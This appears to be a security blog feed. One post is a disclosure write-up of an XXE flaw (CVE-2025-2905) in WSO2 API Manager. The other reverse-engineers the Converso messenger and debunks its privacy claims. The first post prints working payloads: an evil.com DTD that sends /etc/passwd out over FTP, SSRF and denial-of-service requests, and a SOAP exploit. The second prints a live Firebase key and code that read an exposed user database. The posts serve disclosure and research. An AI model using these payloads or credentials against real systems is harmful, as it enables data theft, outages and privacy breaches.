As you can see, <payloadFactory> is a basic template engine: it allows developers to specify the shape of a document and have the server fill in the blanks with dynamic data ('arguments'). In this case, the only argument ($1) is the request path; i.e., The requested resource (/$1) is not available becomes The requested resource (/whatever) is not available.

WSO2's Payload Factory mediator

In Synapse-speak, <payloadFactory> is called a 'mediator'. While WSO2's Synapse fork didn't introduce the Payload Factory mediator, WSO2 greatly expanded and rewrote much of it, including the logic that replaces $N with its respective value.

The Java file PayloadFactoryMediator.java is responsible for processing these templates. Let's walk through the relevant code, beginning at the mediate function:

private boolean mediate(MessageContext synCtx, String format) {
    if (!isDoingXml(synCtx) && !isDoingJson(synCtx)) {
        log.error("#mediate. Could not identify the payload format of the existing payload prior to mediate.");
        return false;
    }
    org.apache.axis2.context.MessageContext axis2MessageContext = ((Axis2MessageContext) synCtx).getAxis2MessageContext();
    StringBuffer result = new StringBuffer();
    StringBuffer resultCTX = new StringBuffer();
    regexTransformCTX(resultCTX, synCtx, format);
    replace(resultCTX.toString(),result, synCtx);
    // ...

Each time a <payloadFactory> is rendered, the mediate function is invoked

Here, the variable synCtx is carrying the template object, including the list of arguments. This is passed to the replace function, which, as the name suggests, begins the work of replacing $1 with its corresponding value.

private void replace(String format, StringBuffer result, MessageContext synCtx) {
    HashMap<String, String>[] argValues = getArgValues(synCtx);
    // ...

replace immediately calls getArgValues

At the top of the replace function, the first order of business is to grab the 'evaluated' values from the argument list (i.e., converting the $axis2:REST_URL_POSTFIX expression to its value) using this getArgValues function:

private HashMap<String, String>[] getArgValues(MessageContext synCtx) {
    HashMap<String, String>[] argValues = new HashMap[pathArgumentList.size()];
    HashMap<String, String> valueMap;
    String value = "";
    for (int i = 0; i < pathArgumentList.size(); ++i) {       /*ToDo use foreach*/
        Argument arg = pathArgumentList.get(i);
        if (arg.getValue() != null) {
            value = arg.getValue();
            if (!isXML(value)) {
                value = StringEscapeUtils.escapeXml(value);
            }
            value = Matcher.quoteReplacement(value);
        } else if (arg.getExpression() != null) {
            value = arg.getExpression().stringValueOf(synCtx);
            if (value != null) {
                // XML escape the result of an expression that produces a literal, if the target format
                // of the payload is XML.
                  if (!isXML(value) && !arg.getExpression().getPathType().equals(SynapsePath.JSON_PATH)
                          && XML_TYPE.equals(getType())) {
                      value = StringEscapeUtils.escapeXml(value);
                  }
    // ...

(If you're following along: in the case of the 404 template argument, arg.getValue() is null, so we fall into the else if { ... } block.)

This function iterates over the template argument list, evaluates each expression, and escapes the things that need to be escaped.

The code says that the expression ($axis2:REST_URL_POSTFIX) is first evaluated, with its resulting string (the request path excluding the first /) being assigned to the value variable.

If the string is not valid XML, then it needs to be escaped. For example, if the value for $axis2:REST_URL_POSTFIX was hello<world, then that string would need to be changed to hello&lt;world before being included in the rendered response; otherwise, the response document would break. However, if the value is already valid XML, then no escaping is needed. For example, the string <abc></abc> does not need to be escaped because it's already syntactically valid XML.

To determine whether the string needs to be escaped, the isXML function is called: a very short function returning true or false.

private boolean isXML(String value) {
    try {
        AXIOMUtil.stringToOM(value);
    } catch (XMLStreamException ignore) {
        // means not a xml
        return false;
    } catch (OMException ignore) {
        // means not a xml
        return false;
    }
    return true;
}

(AXIOMUtil refers to WSO2-Axiom, a fork of Apache Axiom, which is a library for parsing and dealing with XML.)

The isXML function attempts to parse the given string as if it were a standalone XML document by using the AXIOMUtil.stringToOM method. If there were no syntax errors thrown during that parsing process, then isXML returns true; otherwise – if there's an error – the function returns false, telling getArgValues that it needs to escape the value.

XML External Entity injection

This 'dumb code' (as described by its author) is vulnerable to a classic XML External Entity Injection or 'XXE' attack. It's dangerous because if an attacker can control the value string, they can feed anything they want to the XML parser. This allows them to include a malicious <!DOCTYPE> declaration: a special XML instruction to trigger the parser to load an external file – which is only allowed at the very beginning of an XML document. This can be used to arbitrarily siphon files from the server, among other things.

In the 404 template, the attacker controls value because it's simply the URL path – everything after the first /. If the requested path is /<!DOCTYPE blah SYSTEM "http://evil.com/evil.dtd"> , then the XML parser triggered by isXML will import http://evil.com/evil.dtd, an externally hosted DTD document with evil instructions (which we'll get to).

The injection is blind

This is a blind XXE vulnerability, meaning that the attacker can't see the value of any injected XML entities in its response. This is because the attacker's XML is actually injected twice: first in the isXML function as a standalone document as described, and later when the attacker's XML replaces $1 in the 404 response template.

Because of this, the HTTP response to a request exploiting this vulnerability will always be an error, as <!DOCTYPE> is not allowed in the position of $1 (as it can only appear at the top of an XML document).

Smuggling XML into the HTTP request path

Before you can actually inject the payload above (/<!DOCTYPE blah SYSTEM "http://evil.com/evil.dtd">), you need to make two changes to keep the path valid without inadvertently breaking the XML:

1. Tabs, not spaces

Whitespace is needed, however spaces and line feed characters aren't allowed in HTTP request paths, and a percent-encoded space (%20) won't be decoded before it hits the XML parser.

This leaves tabs as the only option:

/<!DOCTYPE\tblah\tSYSTEM\t"http://evil.com:8080/evil.dtd">

Simply replace all spaces with tabs. Common HTTP tools and libraries like curl won't stand for this nonsense (they'll percent-encode the tab for you), but you can craft and submit the request manually.

In most web servers, literal tabs aren't valid in the first line of an HTTP request, as the HTTP/1.1 spec explicitly forbids it.[1] However, the WSO2 API Manager server is a little different; it's tolerant of these malformed requests.

2. Prefix the injected XML with http://whatever/

One more problem: when you request the above path, WSO2 API Manager will think that you are requesting just /evil.dtd">. It will ignore everything prior to that /.

This is because the server thinks that the path looks similar to an absolute URL, so it treats it as one and simply ignores everything before the purported URL's path. Anything prior to :// is mistaken as a URL scheme (i.e., the server thinks that <!DOCTYPE\tblah\tSYSTEM\t"http is a URL protocol).

You can get around this confusion by prefixing the path so that it is in the format of an absolute URL. Your 'real' path becomes a path inside a path:

/http://whatever/<!DOCTYPE\tblah\tSYSTEM\t"http://evil.com:8080/evil.dtd">

(You might be thinking that an easier choice is to replace http:// with //, however the implicit URL scheme is FTP, not HTTP.)


Exploiting the 404

The final HTTP payload:

GET /http://whatever/<!DOCTYPE\tblah\tSYSTEM\t"http://evil.com:8080/evil.dtd"> HTTP/1.1
Host: example.net

CVE-2025-2905 in WSO2 API Manager ≤ 2.0.0

When you send a request in this format, the vulnerable WSO2 API Manager server will reach out to your web server (i.e., http://evil.com:8080) to grab an external DTD XML document with additional instructions.

CVE-2025-2905 can be exploited for:

Data exfiltration

In Java, blind XXEs can be used to siphon files from the server, with caveats.

The following DTD document instructs the XML parser to upload its /etc/passwd via an FTP server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://evil.com/%file;'>">
%eval;
%exfiltrate;

Exfiltrating /etc/passwd

With this payload, the server would transfer its /etc/passwd file to the attacker's server as if the contents of /etc/passwd were an extraordinarily long path (e.g., ftp://evil.com/root:x:0:0:root:/root:/bin/bas[...]). The server will connect to evil.com on port 21 and begin sending the file piecemeal: sending 'change directory' (CWD) commands for each 'directory' (where the file contents contain a /), with a final RETR command for the remaining segment:

USER anonymous
PASS Java1.8.0_121@
TYPE I
EPSV ALL
EPSV
CWD root:x:0:0:root:
CWD root:
CWD bin
CWD bash

CWD daemon:x:1:1:daemon:
CWD usr
CWD sbin:
CWD usr
CWD sbin
[...]
RETR bash

The server sending its /etc/passwd to the attacker's FTP server in a series of commands. You'll need a custom phony FTP server that will reconstruct the file by stringing together all the pieces.

However, whether this is possible depends on the version of Java running alongside the vulnerable WSO2 API Manager. For environments that use the versions of Java that were available at the time of 2.0.0's release, attackers can read the full contents of most[2] files.

In modern Java, it's only possible to read the first line of files, to the best of my knowledge. This is due to changes in Java's URL parsing logic (line feeds become disallowed in URLs, as they should be).

Server-side request forgery (SSRF)

You can also 'read' HTTP resources in the same way that you can read files. You'd just replace the file:// scheme with http://, etc., which triggers the server to make a GET request for you and copy the response to your server (again, potentially limited to the first line depending on the environment).

<!ENTITY % file SYSTEM "http://localhost:8080/abcdef">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://evil.com/%file;'>">
%eval;
%exfiltrate;

Telling WSO2 API Manager to fetch http://localhost:8080/abcdef and copy the response to the evil.com FTP server

If the server's Java version is very, very old, you can also use the gopher:// protocol to send customised TCP packets to any kind of networked service. This could be used to make a POST request, to send an email via SMTP, to execute a database query, or to blindly interface with any other TCP-based networked service accessible from the server, for example.

Denial of service

Finally, CVE-2025-2905 can also be used to effectively disable the server. If you tell WSO2 API Manager to read from a special device file such as /dev/stdout, then the XML parser will attempt to do so, waiting indefinitely for the file to end.

GET http://whatever/<!DOCTYPE\tblah\tSYSTEM\t'file:///dev/stdout'>
Host: example.net

(An external DTD file is not necessary for this abuse variant.)

Because the /dev/stdout file never ends, the worker handling that HTTP request becomes permanently occupied, and is taken out of the pool of workers available to process incoming HTTP requests.

After you make that same request 399 more times, the server will no longer be able to process any future HTTP requests, as WSO2 API Manager will only deploy a maximum of 400 workers. The only way to recover after such an attack is to manually restart the server.


The 404 was inadvertently fixed, but the bug remained

In WSO2 API Manager 2.1.0, the 404 page vulnerability was inadvertently fixed when the template was changed to no longer reflect the user's URL due to an low-impact cross-site scripting risk.[3] This change in 2016 removed the only exploit path known to me for WSO2 API Manager 2.x in its default configuration.

However, the vulnerable isXML function in WSO2-Synapse was not patched until years later, and the vulnerability survived in a different form until 2024.

Exploitation without the 404

Of course, the Payload Factory template engine was not built only for the 404 page: it's a building block that helps developers tailor WSO2 API Manager to their specific use case.

Without the vulnerable 404, exploitation of CVE-2025-2905 has a new precondition: there needs to be a <payloadFactory> somewhere that consumes an attacker-controlled value.

That isn't a rare scenario. The point of the Payload Factory mediator is to transform data, and most configurations use data provided by the user – whether it comes from the URL (e.g., from a query parameter), the request body (e.g., a value in a POST request), or it's pulled from something in a database (e.g., any field that a user can control), etc.

<payloadFactory>
    <format>
        <result>$1</result>
    </format>
    <args>
        <arg expression="//echo" />
    </args>
</payloadFactory>

This vulnerable example reflects a value provided in the request body (invoking isXML with an arbitrary attacker-supplied value)

WSO2 provides plenty of examples of <payloadFactory> uses in their developer documentation, with more examples inside release packages – and nearly all of them are vulnerable. A search of Stack Overflow and GitHub for real-world <payloadFactory> snippets confirms that it's more common than not for <payloadFactory> to be used in a very vulnerable way, consuming user-supplied data arbitrarily pre-authentication – which enables the XXE attack.

That being said, it's possible to configure WSO2 API Manager without making use of a custom Payload Factory mediator. In these cases, the servers are, to my knowledge, not exploitable.

Fortunately (or unfortunately), a new vulnerable <payloadFactory> was introduced in the default configuration of version 3.0.0, which I'll get to soon. To my knowledge, however, there is no vulnerable template in default 2.1.0–2.6.0, so exploitation relies on an administrator to have created one.

JSON templates aren't safer

The Payload Factory mediator can be used to transform JSON documents in addition to XML. However, even when JSON is used instead of XML, the isXML function is still called on all values.

<payloadFactory> has a media-type attribute that allows you to specify the output type (i.e., JSON or XML), and also an escapeXmlChars which does what the name implies, however these make no difference.

For example, this configuration is vulnerable to XXE even though the content is very explicitly not XML:

<sequence>
    <payloadFactory escapeXmlChars="true" media-type="json">
        <format>{"echo":"$1"}</format>
        <args>
            <arg expression="$.echo" />
        </args>
    </payloadFactory>
    <property name="messageType" value="application/json" scope="axis2" />
    <property name="ContentType" value="application/json" scope="axis2" />
    <respond />
</sequence>

In this example, you can use a request body {"echo":"<!DOCTYPE ...>"} to cause the server to parse arbitrary XML. The JSON type and escapeXmlChars won't save you.


A new exploit path appears in API Manager 3.0.0

In WSO2 API Manager 3.0.0, a new <payloadFactory> was introduced, with classically vulnerable code. It's found in the configuration file WorkflowCallbackService.xml.

The template here transforms an XML request into JSON. It takes a POST request with an XML document containing <status> and <description> values, and forwards that request to a backend service in the format of { "status": "...", "description": "..." }:

<payloadFactory media-type="json">
    <format>
        {
        "status":"$1",
        "description":"$2"
        }
    </format>
    <args>
        <arg evaluator="xml" expression="$body//p:resumeEvent/ns:status" />
        <arg evaluator="xml" expression="$body//p:resumeEvent/ns:description" />
    </args>
</payloadFactory>

WorkflowCallbackService.xml (slightly simplified by me for readability)

The vulnerability is the same: any value provided for status or description is sent to isXML and once again parsed dangerously as a standalone XML document with <!DOCTYPE> allowed.

This enables a new, universal exploit path for WSO2 API Manager installations in their default configuration. It's triggered with a simple POST request to /services/WorkflowCallbackService:

POST /services/WorkflowCallbackService HTTP/1.1
Host: example.net
SOAPAction: "urn:resumeEvent"
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:ns="http://callback.workflow.apimgt.carbon.wso2.org">
  <soapenv:Header/>
  <soapenv:Body>
    <ns:resumeEvent>
      <ns:workflowReference></ns:workflowReference>
      <ns:status>APPROVED</ns:status>
      <ns:description>
        <![CDATA[<!DOCTYPE blah SYSTEM "http://evil.com:8080/evil.dtd">]]>
      </ns:description>
    </ns:resumeEvent>
  </soapenv:Body>
</soapenv:Envelope>

(It's necessary to wrap the malicious payload inside <![CDATA as the declaration is otherwise not allowed here, and the server would reject the request.)

Fixed in 3.1.0, only to return in 4.0.0

Weirdly enough, this XXE bug was fixed in 3.1.0, perhaps inadvertently, but it made its way back into the codebase in 4.0.0. I'm not entirely sure what happened during this timeframe.

WSO2 reports that the vulnerability was fixed for good in 4.3.0.


List of vulnerable WSO2 products

Product Versions Vulnerable Exploitable in default config
WSO2 API Manager ≤ 2.0.0,
3.0.0,
4.0.0,
4.2.0
WSO2 API Manager 2.1.0–2.6.0,
4.1.0
WSO2 Micro Integrator ≤ 1.2.0,
4.0.0–4.2.0
WSO2 Enterprise Integrator ≤ 6.6.0
WSO2 Enterprise Service Bus ≤ 5.0.0
WSO2 App Manager All
WSO2 IoT Server All

Notes

[1] Section 3.2 of RFC 9112.

[2] Reading binary stuff, or files with contents that otherwise confuse the XML parser, might cause an error. However, the majority of sensitive file types can be read, including /etc/passwd, SSH private keys, miscellaneous configuration files, etc.

[3] The potential XSS vulnerability is not obvious to me. I know that there are ways to execute JavaScript within XML (e.g., by abusing namespaces), however since all browsers will percent-encode spaces, < and > characters, and tabs, I don't see how this is exploitable.


Disclosure

  • 2025-02-10: Report sent to WSO2.
  • 2025-02-27: WSO2 mislabels the vulnerability as requiring admin privileges; downgrades severity. I suggest that perhaps they've confused this with a different vulnerability.
  • 2025-03-11: WSO2 responds and corrects the severity.
  • 2025-05-05: WSO2 publishes CVE-2025-2905. They remind me that I'm not eligible for their Reward and Acknowledgement Program (a $50 gift voucher) because the discovery is outside the program's scope.
  • 2025-05-26: I discover and notify WSO2 about the new exploit in API Manager 3.0.0.
  • 2025-06-11 to 2025-08-18: A number of follow-ups.
  • 2025-08-19: WSO2 lets me know that they're finalising the updated CVE.
  • 2025-08-19: Notified WSO2 about the re-introduction of the vulnerability in API Manager 4.0.0.
  • 2025-09-04: WSO2 says they've privately notified their paying users.
  • 2025-10-17: WSO2 publishes revised advisory.
]]>
<![CDATA[Testing a new encrypted messaging app's extraordinary claims]]>https://crnkovic.dev/testing-converso/6448793619cb5a2ff90762d9Wed, 10 May 2023 23:04:00 GMT

How I accidentally breached a nonexistent database and found every private key in a 'state-of-the-art' encrypted messenger called Converso

I recently heard this ad on a podcast:

I use the Converso app for privacy because I care about privacy, and because other messaging apps that tell you they're all about privacy look like the NSA next to Converso. With Converso, you've got end-to-end encryption, no storage of messages on the server, no user or metadata. [...]

No metadata? That's a bold and intriguing promise. Even Signal, the gold standard of encrypted messaging, with its Double Ratchet and X3DH components, still manages to leak a ton of metadata.

They make further wild claims on their website and in sponsored interviews, so I was curious how they were able to accomplish all they promise. Here's a snippet from one of the interviews:

audio-thumbnail
Snippet from an interview with Converso's founder
0:00
/28.316735

I had taken it for granted that end-to-end encrypted messaging apps couldn't get around the fact that there needs to be someone in the middle to take an encrypted message from one person and deliver it to another – a process involving unavoidable metadata, such as who you are talking to and when. According to Converso, however, messages 'bypass' a server and leave no trace.

As far as I was aware, the only way you can take the middle-man out of the picture would be to transition from a client-server model to a peer-to-peer client-client model, but this idea comes with too many problems:

  • Both the sender and receiver would need to be online at the same time. Offline messaging wouldn't work – and the feature of sending messages asynchronously to a disconnected user is a requirement in a modern chat app.
  • The parties would need a way to establish a direct connection with each other, but presumably both are behind NAT routers. And how do they find each other's IP addresses to begin with? (Hole punching exists but that too relies on a third-party to broker two connections.)

Unfortunately, Converso is not open source and their website is totally silent on cryptographic primitives and protocols, which is highly unusual for a self-proclaimed 'state-of-the-art' privacy application. By comparison, Signal, WhatsApp, and Telegram, each [1, 2, 3] make public in-depth technical explanations of their end-to-end encryption systems, which are formally tested and reviewed by external experts. Converso on the other hand claims that they're waiting for patents before they open source their code.

That leaves reverse engineering or decompilation as the last resort to view its inner-workings. So I took a look inside Converso's Android app to test its claims, and to roughly compare its novel encryption protocol against established encrypted messaging apps like Signal.

Screenshot of conversoapp.com/about-us/
Screenshot of conversoapp.com

Grabbing their APK

Before opening the app, I decided to dive into its contents. I downloaded the APK and had a peek inside.

Thankfully, the app is written in JavaScript (React Native). The file index.android.bundle contains all the code for the app and most of its dependencies – minimised to reduce its size, but still readable.

Converso's package contents

First, some searches. Let's see what domain names are referenced.

Here's the app's Firebase config

First thing I notice is that they've included measurementId in their Firebase config, which is an optional field a developer can include to enable Google Analytics tracking. Nothing wrong with that, but it surely shouldn't exist in an app that claims 'absolutely no use of user data'.

The next interesting domain name I see is zekeseo.com. This seems to be a different website by Converso's creator, offering SEO marketing services. An odd inclusion.

'zekeseo.com' is included in two functions

This code says, in a nutshell, that if your chosen username doesn't include an @ symbol, then the app will make it an email address by suffixing @zekeseo.com. I guess something else – a backend – wants usernames to be in the format of an email address, but the frontend doesn't.

Next, there's a reference to a URL on Pixabay. This appears to be the fallback URL for a user's profile picture. I'm not sure why it needs to be an external URL – this seems like a mistake.

The default profile picture is downloaded from cdn.pixabay.com
The default profile picture hosted on Pixabay.com

Looking for crypto code

When I start searching for cryptographic primitives, I find references to AES and RSA. I was expecting elliptic-curve cryptography – because I'm not aware of any modern encryption protocol that doesn't use ECC. (Not that there's anything wrong with RSA – only that it was unexpected.)

Anyway, it looks like messages are being encrypted – evident from functions named encryptMessage and decryptMessage. That's a start, however it doesn't mean the encryption is meaningful. How are those messages encrypted, how are encryption keys generated and shared, how often are keys replaced, how are keys and messages authenticated, and how do encrypted messages make their way from the sender to the recipient?

Looking at the code surrounding some of those encryption functions, I see references to Seald and an API hosted on a seald.io subdomain.

The app uses a 'Seald' SDK

A quick look at Seald's homepage answers many questions. Seald is a drop-in SDK for app developers to integrate end-to-end encryption 'into any app in minutes'.

It's obvious now: Converso hasn't created any new groundbreaking encryption protocol, they've merely implemented this SDK. The app defers to Seald to handle the encryption components of the app.

Seald's homepage

That still leaves questions outstanding about how Converso, and by proxy Seald, is able to transmit messages without storing messages on a server, and without obtaining metadata? Does Seald's SDK really allow Converso to do all it claims?

Fortunately, the answers to all these questions can be found in Seald's developer documentation. No need to look any further at Converso's source code.

How Converso encryption really works – its claims vs reality

Whenever you send a message to another user in Converso, here's what happens:

  1. The sender fetches the RSA public key Pk associated with the recipient's phone number from a Seald server, and trusts it as authoritative.
  2. The sender encrypts their message M with AES-256-CBC using an ephemeral symmetric encryption key K.
  3. The sender encrypts K with RSAES-OAEP so that only the owner of Pk can decrypt it.
  4. The sender constructs a MAC to authenticate the message, Mac, with HMAC-SHA-256.
  5. The sender sends cleartext Mac, and the encrypted copies of M and K, to a server via a network request. The server later delivers these to the recipient.

That's pretty much it.

There's no peer-to-peer networking – the app uses a classic client-server architecture.

Now that we understand Converso's encryption protocol, we can go through some of the claims made on their website and see how they match reality.

Update (2023-05-13): Since publishing this post, Converso has removed many of these statements. The verbatim quotes below previously existed on Converso's website or official marketing materials.

Claim: 'State of the art end-to-end encryption'

Verdict: False.

Screenshot of conversoapp.com/about-us/

For an encryption standard to be considered 'state-of-the-art', it would need to at least include all the features of modern encryption protocols. Converso uses plain old RSA, one of the oldest encryption standards available.

To begin with, random number generation looks fine. As a source of random for generating secure keys, Converso appears to utilise java.security.SecureRandom on Android devices, and Apple's CSPRNG on iOS.

Next, how does Converso protect against man-in-the-middle attacks? That would be the ability to confirm that who you are talking to is really the person you think you're talking to – and not an impersonator or a middle-man. Converso relies on a third-party authority – Seald's servers – as the sole certificate authority for mapping identities to public keys. This third-party holds a god-like power to impersonate anyone. There's nothing akin to Safety numbers in the Converso app to ensure the integrity of an encrypted conversation – there's no feature in the app to view your contact's public key, and no notification if a key were to change. That's a hard fail.

Update (2023-05-17): I want to make clear that I'm not calling the security of Seald into question. Seald doesn't echo the promises that Converso makes about its end-to-end encryption protocol. Seald's protocols, which are well documented, seem perfectly fit for many use cases – but not an end-to-end encrypted messaging app that compares itself to Signal. Also, some of these failures, such as a lack of safeguarding against man-in-the-middle attacks, are a result of Converso's poor implementation of the SDK.

Next up, message integrity and authentication. How are messages guaranteed to have not been tampered with in transit, and how can we ensure they really came from the sender? Since all public keys are already untrustworthy, meaningful message authentication can't exist.

Forward secrecy? This doesn't exist. Unlike with the established encrypted messengers Converso compares itself to — Signal, WhatsApp, Telegram, and Viber – if a Converso user's device is compromised, the keys on that device could be used by a sophisticated adversary to decrypt past conversations, even if they had been deleted from the user's device. Asymmetric key-pairs in Seald have a default minimum lifespan of three years (by contrast, key-pairs in the Signal Protocol are replaced after every message, approximately).

Future secrecy (or post-compromise secrecy)? Modern encrypted messengers have self-healing properties which prevent an attacker from decrypting future messages after an earlier device compromise. Converso makes no attempt at this.

Results:

Property Converso Signal, etc.
Some kind of encryption Yes Yes
Protection from man-in-the-middle attacks Yes
Message authentication Yes
Forward secrecy Yes
Future secrecy / Post-compromise secrecy Yes

Claim: 'No servers', 'No storage of messages on the server'

Verdict: False.

Converso claims it doesn't use servers

Messages and keys are transmitted to and delivered by a server. Of course there are servers.

Claim: 'Absolutely no use of user data', 'No tracking', 'When you use Converso, none of your data is stored on our servers, or anywhere else'

Verdict: False.

Screenshot of conversoapp.com/faqs/

Not only does Converso include a Google Analytics tracker to record how you use the app, it also collects phone numbers for every account, plus unavoidable metadata surrounding every message or key sent or received. All of this data is stored on servers.

Additionally, presumably due to a developer error, every Converso user sends a HTTP request to cdn.pixabay.com to download this default profile picture. According to Pixabay's privacy policy, they record those requests – along with IP addresses and device details.

Converso's claim that messages leave behind 'absolutely no metadata', is very wrong, including these more specific declarations:

Where you're visiting from [is secret]

When you use the app, your IP address, along with your location and device details, is handed to Seald, Google Analytics, and Pixabay.

Who you are [is secret]

Registration requires a phone number, which is stored by a server.

Who you're talking to [is secret]

Messages are addressed to phone numbers and delivered via servers. The server needs to know the recipient of every message so it can route it to the correct device. It knows who you are talking to and when.

Claim: 'It’s not possible to circumvent the platform’s end-to-end encryption', 'Every message sent is end-to-end encrypted, meaning that it can only be read by its intended recipient'

Verdict: False.

As demonstrated above, Converso's encryption protocol is rudimentary and susceptible to a multitude of attacks.

Since key-pairs are entirely untrustworthy, there's no guarantee of security when using Converso. Converso's encryption protocol relies on a trusted third-party intermediary always behaving honestly.

Claim: 'The same individual that started WhatsApp coincidentally founded Signal too'

Verdict: False.

Screenshot of converso.com

A WhatsApp co-founder did also co-found and contribute to the foundation that now develops Signal, but that happened eight years after Signal's launch. The foundation ≠ Signal.

Signal was released in 2014 by Moxie Marlinspike's Open Whisper Systems, however it has a history before that as TextSecure and RedPhone since 2010. In 2018, Brian Acton, co-founder of WhatsApp, helped to launch the non-profit Signal Technology Foundation, whose mission is 'to support, accelerate, and broaden Signal's mission of making private communication accessible and ubiquitous.'

Claim: 'WhatsApp, Telegram, and Viber [...] store messages (in a readable format) on a server'

Verdict: False or highly misleading.

Screenshot of conversoapp.com/converso-security/

WhatsApp and Viber have both implemented the Signal Protocol. Encrypted Telegram conversations use MTProto. These are both widely known and well-documented encryption protocols which have been formally analysed by external researchers.

Encrypted messages are not stored in a readable format on the servers of WhatsApp, Telegram, or Viber. (In Telegram, end-to-end encryption is an opt-in feature – regular unencrypted messages are exposed to a server.)

Converso elsewhere asserts that WhatsApp 'generates unencrypted chat backups in Google Cloud or iCloud', however this is not quite true. WhatsApp backups are optional and can be safeguarded with end-to-end encryption (although they haven't yet made this the default).

Claim: 'Every conversation that takes place on our platform is part of a decentralized architecture'

Verdict: False.

Converso uses central servers to transact keys and messages. Converso doesn't involve decentralised architecture – it uses a traditional centralised client-server model.

Claim: '[Signal] relies on Amazon S3 to distribute blockchain data'

Verdict: False or highly misleading.

Signal comes with support for peer-to-peer payments in 'MobileCoin', a private cryptocurrency, however this is an optional and unpopular feature. Regular end-to-end encrypted messages in Signal don't use MobileCoin or any sort of blockchain data.

tl;dr

The take-home message is that, once again, not all information on the internet is factual. Converso misrepresents itself as a state-of-the-art end-to-end encrypted messaging app, which couldn't be further from the truth. The reality is that the wild claims Converso makes on its website – the promises it makes about its app's security, plus the shade it throws on premier encryption tools – are all provably false. It's therefore my opinion that you shouldn't rely on Converso for any sense of security, and you certainly shouldn't pay $4.95/month for it.

Screenshot of conversoapp.com/download-converso/

But wait – it gets much, much worse

As I was finishing up the above post, I noticed something a little strange in the code – something I'd glossed over earlier. There are a ton of references to what looks to be functions related to Google's Firestore database.

Earlier in the code, I saw SQLite used for some lighter operations, such as indexing local device address books. I assumed SQLite was also used for other things, like messages, and that servers were only utilised for data transport, not longer-term storage – I was wrong.

Some SQLite code found earlier (spot the bonus vulnerability)

It looks like Firestore is the database framework used by Converso for storage of all kinds of app data, including messages sent and received, call logs, user registration data, and possibly other classes of user content.

Firestore databases for 'chats' and 'messages'

This is shocking and confusing to me, since Firestore is a cloud-based database hosted by Google. It's not an offline-only internal database interface that you would expect an app like this to use. And Firestore seems to be used for a lot of data that should certainly be managed offline. I see Firestore database collections and subcollections named users, chats, messages, missedCalls, videoInfo, recents, rooms, fcmTokens, phoneRooms, phoneInfo, usersPublic, loginError, callerCandidates, and calleeCandidates.

Surely this Firestore database is locked down... right?

With any online database, you would expect server-side access control rules to be in place to prevent unauthorised access of sensitive data.

I decided to try those Firebase credentials I found earlier in the app's code to check whether the data was being properly secured by Firestore's Security Rules. Those credentials alone should not allow unrestrained access to sensitive data in this database.

I wrote a few lines of code to see what would happen if I tried to pull from the users collection:

initializeApp({
    apiKey: "AIzaSyBBswl_VaCb7h7nIj8xBhreuxj2NH6aqis",
    authDomain: "converso-448da.firebaseapp.com",
    projectId: "converso-448da",
    storageBucket: "converso-448da.appspot.com",
    messagingSenderId: "1025894877514",
    appId: "1:1025894877514:web:58f4a74a44071f727c19b3"
});
const db = getFirestore();
const querySnapshot = await getDocs(collection(db, "users"));

Here's what I got:

A small portion of the users collection

Looks like I accidentally breached Converso's user database. The users collection, which is open to the internet and publicly accessible, contains the registration details for every Converso user. Phone numbers, registration timestamps, and the identifiers of groups they're in (i.e. who is talking to who).

Many of the other database collections are equally totally public. The collections fcmTokens, loginError, missedCalls, phoneInfo, phoneRooms, rooms, usersPublic and videoPublic don't require any sort of server-side user authentication to access.

(If you're not familiar with Firestore, this mistake is virtually the same as deploying an internet-facing SQL database with no username or password required to access – anyone can read or write anything!)

Converso's metadata is public

Not only does Converso collect and retain massive troves of metadata it claims doesn't exist in the first place, this metadata is publicly accessible. If you make a call, that information is broadcast to the world and can be viewed in real-time by anyone interested.

This data is being stored unencrypted by Google servers – highly ironic for a business that rails against 'Big Tech' in its marketing messages (and Google specifically).

Converso is designed for people who want absolute privacy and freedom from any (government or Big Tech) form of surveillance.
— conversoapp.com
Screenshot of conversoapp.com/converso-security/

Exploring the remaining Firestore collections

The rooms collection contains metadata surrounding video call sessions. (Video and audio streams between users use WebRTC.)

A small portion of the rooms collection

Similarly, phoneRooms contains metadata for audio calls made in the app.

A small portion of the phoneRooms collection

The fcmTokens collection appears to contains a long list of FCM registration tokens for every user. These are identifiers issued by GCM connection servers to allow clients to receive notifications and other types of in-app messages.

I'm not sure how exactly these tokens are used by Converso, however Firebase's documentation makes clear: 'registration tokens must be kept secret.'

A small portion of the fcmTokens collection

I couldn't access the chats or messages collections – it looks like there is some kind of permissions scheme in place here, finally. I'm not sure what these security rules are – I might come back to this later. Back to the code:

Converso's online message database

There are two categories of messages in Converso: cleartext messages and encrypted messages. Both are stored in the messages Firestore collection hosted by Google. Their entries look like:

{
    createdAt: <timestamp>,
    number: "<sender phone number>",
    message: "<cleartext message>",
    encryptedMessage: "<encrypted message>",
    messageContent: "<i don't know what this is yet>",
    tokens: ["<i don't know what this is yet>"],
    selfDestruct: <time-to-live>, //  optional
}

An example Converso message entry

These categories of Converso messages are not encrypted at all:

  • Image messages. These are message entries with isImage: true and a cleartext imageName field containing the cleartext filename of the image. Image files are transferred in an unencrypted format using Firebase's Cloud Storage service.
  • Animated images. These are message entries with added url and isGif: true fields. When the recipient device receives a message of this kind, they will automatically download the referenced image without prompt – and there's no way to disable this. This seemingly opens an obvious and serious vulnerability: anyone can get the IP address of any Converso user by simply sending a message pointing to a URL hosted by the sender.
  • Requests to 'clear' the messages in a conversation. These are cleartext message entries with a isClear: true.
  • Requests to 'delete' a previous message. These are cleartext message entries with isDelete: true and a messageId field referencing a message to remove.
  • Notifications that a screenshot is taken. If the app detects you taking a screenshot, it will send a cleartext message with the cleartext message "Screenshot taken" and isScreenshot: true.

Encrypted messages, which contain the encryptedMessage string in their Firestore entries, are handed to the Seald SDK for decryption via its decryptMessage function. This function appears to transform a base64-encoded ciphertext into a plaintext string using the encryption method described above.

Invoking Seald's decryptMessage

A closer look at 'encrypted' messages

Further inspecting the Seald-related code, I notice Converso is using Seald's @seald-io/sdk-plugin-ssks-password module. According to the developer documentation, this allows Converso to use Seald's 'secure key storage service' to 'store Seald identities easily and securely, encrypted by a user password.'

So private keys are being backed up to Seald's servers, encrypted with user passwords. If a user deletes the Converso app, they can later recover their super-secret RSA key by fetching an encrypted version from a server and decrypting it locally with their password. Once the key is recovered, they can decrypt old messages stored in the Firestore database.

